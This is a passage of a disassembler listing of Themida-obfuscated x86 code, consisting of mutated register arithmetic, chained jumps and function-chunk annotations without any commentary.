add eax, 4
push edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp]
mov esp, [esp]
add esp, 4
push esi
jmp loc_5922BD
; ---------------------------------------------------------------------------
loc_595010: ; CODE XREF: Themida_:0058C382j
push ebx
push eax
mov ah, 0A8h
mov bl, ah
pop eax
jmp loc_58F34B
; ---------------------------------------------------------------------------
loc_59501C: ; CODE XREF: Themida_:0058CA67j
add esp, 2
sub bx, 7DA1h
jmp loc_597D94
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_59502C: ; CODE XREF: sub_595123-71DAj
pop esp
mov [esp+10h+var_10], ebp
mov ebp, 4
add ebx, ebp
push [esp+10h+var_10]
pop ebp
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_591C8F
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_59504C: ; CODE XREF: Themida_:00593FDEj
mov [esp], ecx
mov ch, 1Dh
push small 441Eh
mov [esp], dx
mov dh, 7
add ch, dh
pop dx
add al, ch
mov ecx, [esp]
add esp, 4
jmp loc_59463F
; ---------------------------------------------------------------------------
loc_59506C: ; CODE XREF: Themida_:0058C9B6j
push 73F7h
mov [esp], ecx
jmp loc_597EC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_595079: ; CODE XREF: sub_59762D-4C92j
inc byte ptr [esp+1]
pop ecx
xchg ch, dh
shl dh, 5
push cx
jmp loc_58CEDC
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59508A: ; CODE XREF: sub_590467+211Ej
push edx
mov edx, 44656E6Ah
or edi, edx
pop edx
dec edi
add edi, 86A5D203h
add esi, edi
pop edi
mov edx, esi
pop esi
sub eax, 761A4B16h
add eax, edx
push ecx
mov ecx, 151859F7h
and ecx, 766F536Ah
jmp loc_59519B
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_591369
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5950C1: ; CODE XREF: sub_59762D-7DCCj
pop edx
push 6071h
mov [esp+0], ecx
mov ch, 86h
push ecx
mov ecx, esp
add ecx, 4
jmp loc_590EAE
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_5950DA: ; CODE XREF: Themida_:00590897j
sub [esp+8], edi
sub dword ptr [esp+8], 48EC0BCAh
jmp loc_5960C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5950EB: ; CODE XREF: sub_58C17E+4875j
xor esi, 0A3B8F40Eh
mov eax, esi
mov esi, [esp+4+var_4]
add esp, 4
shr eax, 3
shr eax, 6
xor eax, 7A013650h
xor edi, eax
mov eax, [esp+0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
jmp loc_594D40
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_59511D: ; CODE XREF: Themida_:00592329j
push ecx
jmp loc_5967A4
; =============== S U B R O U T I N E =======================================
sub_595123 proc near ; CODE XREF: sub_592857-42Dj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058AFE2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B321 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0058B9C9 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058BEED SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CFF1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D497 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058D931 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D9F0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DF3A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E0CB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058E175 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E61A SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0058EA29 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0058EDF3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F42A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00590701 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590F4F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591613 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591765 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591C8F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592139 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592BDB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593289 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059350A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005944BC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594675 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059502C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005952D8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005953CC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595A83 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595FF0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059653F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059757F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005979AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597C55 SIZE 00000010 BYTES
sub esp, 4
mov [esp+0Ch+var_C], ecx
mov ecx, 27632137h
dec ecx
xor ecx, 0E3C37ADh
sub esp, 4
mov [esp+10h+var_10], eax
mov eax, 48DB7DCDh
add ecx, 676F02CEh
add ecx, 42C02BDCh
sub ecx, eax
sub ecx, 42C02BDCh
push ebx
mov ebx, 222D7F14h
xor ebx, 45427DDAh
sub ecx, ebx
jmp loc_58D931
sub_595123 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_595167: ; CODE XREF: Themida_:0058AFBAj
xor edi, edx
pop edx
inc edi
jg loc_59062C
jmp loc_58E6D6
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop edx
push edx
mov edx, esp
mov esi, ebx
loc_59517F: ; CODE XREF: Themida_:0059609Ej
mov esp, [esp]
mov fs:[edx], al
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59518A: ; CODE XREF: sub_58F5B5+25B6j
; Themida_:00597B92j
add eax, 7C780284h
add eax, ebx
sub eax, 7C780284h
jmp loc_58C25B
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59519B: ; CODE XREF: sub_590467+4C4Cj
and ecx, 5F654888h
shr ecx, 4
xor ecx, 775A4F16h
add eax, ecx
pop ecx
pop edx
sub eax, 2
xchg eax, [esp-0Ch+arg_8]
jmp loc_58EBAB
; END OF FUNCTION CHUNK FOR sub_590467
; =============== S U B R O U T I N E =======================================
sub_5951B9 proc near ; CODE XREF: sub_58F5B5-24CFj
; Themida_:0058DC82j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058D126 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594ED0 SIZE 00000014 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_58D126
sub_5951B9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5951C7: ; CODE XREF: sub_5EC2E8:loc_58A82Ej
or dl, 77h
sub dl, 8Fh
jmp loc_5904A9
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_5951D2: ; CODE XREF: Themida_:0058A564j
inc dword ptr [esp]
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_5951DB: ; CODE XREF: Themida_:00592AE7j
pop edx
add eax, 1D836EBBh
sub eax, ecx
sub eax, 1D836EBBh
push ebx
jmp loc_58CFDD
; ---------------------------------------------------------------------------
loc_5951EE: ; CODE XREF: Themida_:0058A633j
push ebx
jmp loc_597E6D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5951F4: ; CODE XREF: sub_59762D-6D66j
; Themida_:00594A39j
neg ebp
or ebp, 7AD04679h
add ebp, 0F2D51E0h
push ebx
jmp loc_5979B7
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_595208: ; CODE XREF: Themida_:0058C2C0j
movsx cx, al
push 1FC6h
mov [esp], edi
mov edi, esp
push ebx
push esi
jmp loc_58DE9F
; ---------------------------------------------------------------------------
loc_59521D: ; CODE XREF: Themida_:00591208j
mov [esp], edi
mov edi, 3EE23178h
xor edi, 359306B3h
sub edi, 0B7137C7h
jmp loc_58A39E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_595236: ; CODE XREF: sub_58C17E-16j
sub ecx, 0F992A9Ah
add ecx, edi
add ecx, 0F992A9Ah
mov edi, [esp-6+arg_0+2]
jmp loc_58E7DF
; END OF FUNCTION CHUNK FOR sub_58C17E
; =============== S U B R O U T I N E =======================================
sub_59524C proc near ; CODE XREF: sub_5EC2E8-5B047j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 0058A65E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058AFD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058BA94 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BF07 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BF7E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D1C9 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058D30A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DF06 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E132 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E3E5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058E839 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058E923 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F7ED SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FA59 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059125D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005920D4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00593320 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00594C30 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594FE9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059594F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595B92 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00595D14 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059699A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005975EA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00597A63 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00597F97 SIZE 0000000D BYTES
push ebx
mov ebx, 16AC7617h
push edx
jmp loc_58E3E5
sub_59524C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_595258 proc near ; CODE XREF: sub_590010+4B86j
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058A40F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B596 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058B997 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BD59 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058C673 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C8BC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058CCEF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DFAC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DFC2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E3DD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EC6C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F5AE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F8F2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F916 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058FEF5 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0059183E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591B8F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591E6E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00592EC5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592FF7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594868 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00596CF6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597116 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005971A0 SIZE 0000001C BYTES
push ebp
jmp loc_597116
sub_595258 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59525E: ; CODE XREF: Themida_:00590FAFj
add eax, 4
xchg eax, [esp]
pop esp
push 456h
mov [esp], ecx
push esp
pop ecx
sub esp, 4
mov [esp], eax
jmp loc_594D6B
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_593386
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_595288: ; CODE XREF: sub_5EC2E8-58CFEj
add ecx, 4
xor ecx, [esp+34h+var_34]
xor [esp+34h+var_34], ecx
xor ecx, [esp+34h+var_34]
pop esp
loc_595295: ; CODE XREF: sub_58DBC4+3C3Ej
sub esp, 4
mov [esp+34h+var_34], ebp
mov ebp, ebx
push 60AAh
mov [esp+38h+var_38], ebp
mov eax, [esp+38h+var_38]
push edx
jmp loc_593BFB
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_5952AE: ; CODE XREF: Themida_:0058E4DBj
; sub_5916CB-30E9j
mov [esp+0Ch+var_C], eax
push 59920CA8h
mov eax, [esp+10h+var_10]
add esp, 4
sub esp, 4
mov [esp+10h+var_10], ebp
push eax
mov eax, 0A66DF358h
mov ebp, eax
mov eax, [esp+14h+var_14]
add esp, 4
jmp loc_596671
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_5952D8: ; CODE XREF: sub_595123+ED9j
push [esp+18h+var_14]
pop edx
jmp loc_5979AF
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_5952E2: ; CODE XREF: Themida_:00593387j
mov ebx, esp
sub esp, 4
mov [esp], ebp
push 584Dh
mov [esp], eax
push 0A2D209Bh
pop eax
add eax, 6EB14403h
mov ebp, eax
pop eax
push ebp
not dword ptr [esp]
mov ebp, [esp]
add esp, 4
neg ebp
dec ebp
jmp loc_5908DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_595318: ; CODE XREF: sub_59762D-CA10j
xor al, 0F6h
push ebx
mov bl, al
jmp loc_58DEAF
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_595322: ; CODE XREF: Themida_:00590A12j
pop ebx
mov bh, dh
pop edx
push cx
mov cl, 0C7h
add bh, cl
pop cx
sub al, 30h
sub al, bh
add al, 30h
mov ebx, [esp]
add esp, 4
push cx
push 68B2h
mov [esp], ebx
mov bh, 2Dh
mov ch, bh
pop ebx
add bl, ch
pop cx
push small 6EBEh
mov [esp], ax
push ebx
mov bh, 0BCh
xor bh, 0F1h
mov al, bh
jmp loc_593BCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_595365: ; CODE XREF: sub_5938B9-4188j
jmp loc_591573
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_59536A: ; CODE XREF: Themida_:0059428Bj
push 157Dh
jmp loc_596DCD
; ---------------------------------------------------------------------------
loc_595374: ; CODE XREF: Themida_:005964D6j
add ecx, 3EE91676h
jnb loc_58CC99
inc ecx
sub ecx, 20490312h
mov cl, 28h
push ebx
; START OF FUNCTION CHUNK FOR sub_5936D6
loc_59538A: ; CODE XREF: sub_5936D6+3153j
pop edx
mov eax, [esp+0]
add esp, 4
jmp loc_591215
; END OF FUNCTION CHUNK FOR sub_5936D6
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_58B992
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_5953A1: ; CODE XREF: sub_5916CB-2150j
; sub_5916C4-105Bj
xor ecx, [esp+8+var_8]
xor [esp+8+var_8], ecx
xor ecx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], edx
jmp sub_58B03F
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_5953B3: ; CODE XREF: Themida_:0058BFB5j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_5953B8: ; CODE XREF: Themida_:00591FAEj
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_58C050
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5953C4: ; CODE XREF: Themida_:0059131Ej
; sub_58C17E+8734j
xor [esp+4+var_4], ebp
jmp loc_5907BF
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_5953CC: ; CODE XREF: sub_595123+245Ej
mov edx, esp
push ebp
jmp sub_58C17E
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_5953D4: ; CODE XREF: Themida_:0058F825j
mov [esp], ebp
push 53BE0650h
mov ebp, [esp]
add esp, 4
shl ebp, 6
jmp loc_594098
; ---------------------------------------------------------------------------
loc_5953EA: ; CODE XREF: Themida_:00592102j
add esp, 4
sub esp, 4
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
push edx
push ecx
mov ecx, 4
mov edx, ecx
mov ecx, [esp]
jmp loc_5922E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_595411: ; CODE XREF: sub_590467-50FEj
inc ebp
jo loc_5974C0
jmp loc_593CE3
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_59541D: ; CODE XREF: Themida_:0058F19Bj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_58E329
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_595431: ; CODE XREF: sub_5916C4+610Ej
mov cl, dh
mov bl, cl
jmp loc_594390
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59543A: ; CODE XREF: Themida_:00595C1Dj
shr bh, 3
inc bh
jp loc_590CF7
xor bh, 0E0h
mov ah, bh
jmp loc_591280
; ---------------------------------------------------------------------------
loc_59544F: ; CODE XREF: Themida_:0058DCFAj
mov eax, 61AD291Eh
xor eax, 6F7440AEh
sub ebp, eax
pop eax
xor ebp, 744337B5h
sub ebp, 8572AF5Fh
add ecx, 6ECD030Eh
add ecx, ebp
sub ecx, 6ECD030Eh
jmp loc_592A7A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59547B: ; CODE XREF: sub_5916C4-3C2Aj
add eax, 67371400h
add eax, ebx
push ebx
mov ebx, 67371400h
sub eax, ebx
pop ebx
push 1B17h
mov [esp-0Ch+arg_8], esi
push edi
mov edi, 0BB0B99h
mov esi, edi
jmp loc_597F43
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5954A0: ; CODE XREF: sub_58C17E+947Fj
mov esi, 4
add ecx, esi
pop esi
jmp loc_592784
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_5954AD: ; CODE XREF: Themida_:005970F0j
add eax, 7A53A2CDh
mov esi, eax
pop eax
push edx
mov edx, 60CBF0ECh
sub esi, edx
pop edx
mov edi, esi
mov esi, [esp]
add esp, 4
add eax, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_58FC60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590C09
loc_5954DA: ; CODE XREF: sub_594FD6-62F9j
; sub_590C09+3j
pop ecx
pop ebx
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590C09
; ---------------------------------------------------------------------------
loc_5954E1: ; CODE XREF: Themida_:00593A7Ej
xor ebp, 11DB0959h
shr ebp, 2
add ebp, 50391213h
xor ebp, 38B66D62h
add edx, ebp
jmp loc_597567
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5954FD: ; CODE XREF: sub_59762D-9A8Cj
add edi, ebp
pop ebp
sub edi, 0E9065A7h
sub edi, 50C11B4h
add edi, esi
add edi, 50C11B4h
push ebx
jmp loc_593F18
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_59551A: ; CODE XREF: Themida_:0059052Dj
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_58A74D
; ---------------------------------------------------------------------------
loc_595529: ; CODE XREF: Themida_:0058D632j
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_594D26
; ---------------------------------------------------------------------------
loc_595538: ; CODE XREF: Themida_:0058C44Bj
not ebx
sub ebx, 8F5A17F5h
sub eax, ebx
pop ebx
sub eax, 53C40480h
sub eax, ebx
jmp loc_590D1B
; ---------------------------------------------------------------------------
loc_59554F: ; CODE XREF: Themida_:00590A63j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
jmp loc_58FD43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_595564: ; CODE XREF: sub_5919E2-4E0Bj
mov ebp, esi
pop esi
add esi, ebp
pop ebp
add edx, esi
pop esi
jmp loc_5902BF
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_595572: ; CODE XREF: sub_58F5B5-74Dj
pop ecx
neg esi
dec esi
add esi, offset byte_42404D
sub eax, 7DFF51DDh
jmp loc_59626C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_595586: ; CODE XREF: Themida_:0058F8D1j
mov ebp, 57B44BA4h
jmp loc_58D6DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_595590: ; CODE XREF: sub_59762D-145Aj
pop ebx
shl ebp, 5
js loc_5923D6
jmp loc_591B3D
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
shr ecx, 4
neg ecx
mov edi, ebp
; =============== S U B R O U T I N E =======================================
sub_5955A6 proc near ; CODE XREF: sub_596CA1-8150j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058AD69 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005974C0 SIZE 00000046 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov ah, 65h
jmp loc_5974C0
sub_5955A6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5955B6: ; CODE XREF: Themida_:0058E719j
add esp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push ecx
mov ecx, esp
add ecx, 4
jmp loc_58FBAF
; ---------------------------------------------------------------------------
loc_5955D1: ; CODE XREF: Themida_:005912AFj
pop esi
sub esi, 1A303338h
add edi, esi
pop esi
add edi, 2
push 0CC3h
jmp loc_593CA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5955E8: ; CODE XREF: sub_58F5B5+516Aj
add ebp, 0F4D74686h
mov ebx, ebp
pop ebp
inc ebx
xchg ebp, ebx
not ebp
jmp loc_5939F4
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5955FB: ; CODE XREF: sub_58C17E+B5D8j
pop edi
push esi
jmp loc_5954A0
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_595602: ; CODE XREF: sub_5916C4+50FFj
mov cl, 0B3h
or dh, cl
jmp loc_58BD2B
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59560B: ; CODE XREF: Themida_:0058CB84j
mov [esp], edi
mov edi, esp
sub esp, 4
mov [esp], eax
mov eax, 4
jmp loc_58ECC0
; ---------------------------------------------------------------------------
loc_595620: ; CODE XREF: Themida_:0058EB6Fj
not eax
xchg eax, [esp]
pop ebp
push ebx
mov ebx, 14F557Ch
dec ebx
push ebx
not dword ptr [esp]
pop ebx
jmp loc_595955
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_595637: ; CODE XREF: sub_595E21-9169j
dec ebx
jnp loc_590D69
shr ebx, 7
jns loc_5932C5
sub ebx, 0FFFDBA48h
jmp loc_591AC2
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
; =============== S U B R O U T I N E =======================================
sub_595655 proc near ; CODE XREF: sub_597716-D0BDj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058A919 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058C4F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058CA3D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D27D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058D526 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F7E2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F954 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592607 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00593973 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059440A SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00595CE3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597048 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597F78 SIZE 0000001F BYTES
push ebx
mov ebx, 0F3C73F1h
and ebx, 297B411Ah
push edx
mov edx, 4238301Ch
sub edx, 0FFFFFFFFh
neg edx
or edx, 33EB3B39h
jmp loc_595CE3
sub_595655 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59567A: ; CODE XREF: Themida_:00594461j
mov ecx, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
add ecx, ebx
jmp loc_592399
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59568E: ; CODE XREF: sub_590467+Fj
shr ebx, 1
xor ebx, 0EA17DB00h
xor esi, ebx
jmp loc_58B4CE
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_59569D: ; CODE XREF: Themida_:0058F34Dj
mov cl, 64h
and bl, cl
jmp loc_5925F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5966C1
loc_5956A6: ; CODE XREF: sub_5966C1+C5Ej
push eax
mov eax, 6C03719Fh
or edx, eax
pop eax
sub edx, 5A75247Ah
jmp loc_58C210
; END OF FUNCTION CHUNK FOR sub_5966C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5956BA: ; CODE XREF: sub_5916C4-D8Bj
or eax, eax
jz loc_5913B3
sub esp, 4
mov [esp+4+var_4], ecx
push edx
push esi
jmp loc_58AC58
; ---------------------------------------------------------------------------
loc_5956CF: ; CODE XREF: sub_5916C4-B24j
add ecx, eax
jmp sub_5936D6
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5956D6: ; CODE XREF: Themida_:0058F0BDj
; Themida_:00596909j
jnp loc_597F70
sub dh, 0B2h
jmp loc_58F8F2
; ---------------------------------------------------------------------------
not eax
inc eax
mov al, cl
loc_5956E9: ; CODE XREF: Themida_:0058DD4Cj
shr esi, 1
sub esi, 86EDEA3Dh
mov edx, esi
jmp loc_58B1BF
; ---------------------------------------------------------------------------
loc_5956F8: ; CODE XREF: Themida_:0058E57Aj
mov [esp], edx
mov edx, 4
jmp loc_593102
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_595705: ; CODE XREF: sub_5916C4+349Cj
add ecx, 4
push ebp
mov ebp, 50CA6A0Eh
jmp loc_592A17
; ---------------------------------------------------------------------------
loc_595716: ; CODE XREF: sub_59762D-AFBFj
; sub_5916C4+319j
shl ecx, 3
neg ecx
and ecx, 61524015h
push ebp
mov ebp, 0EEAED357h
sub ecx, ebp
jmp loc_58DCC0
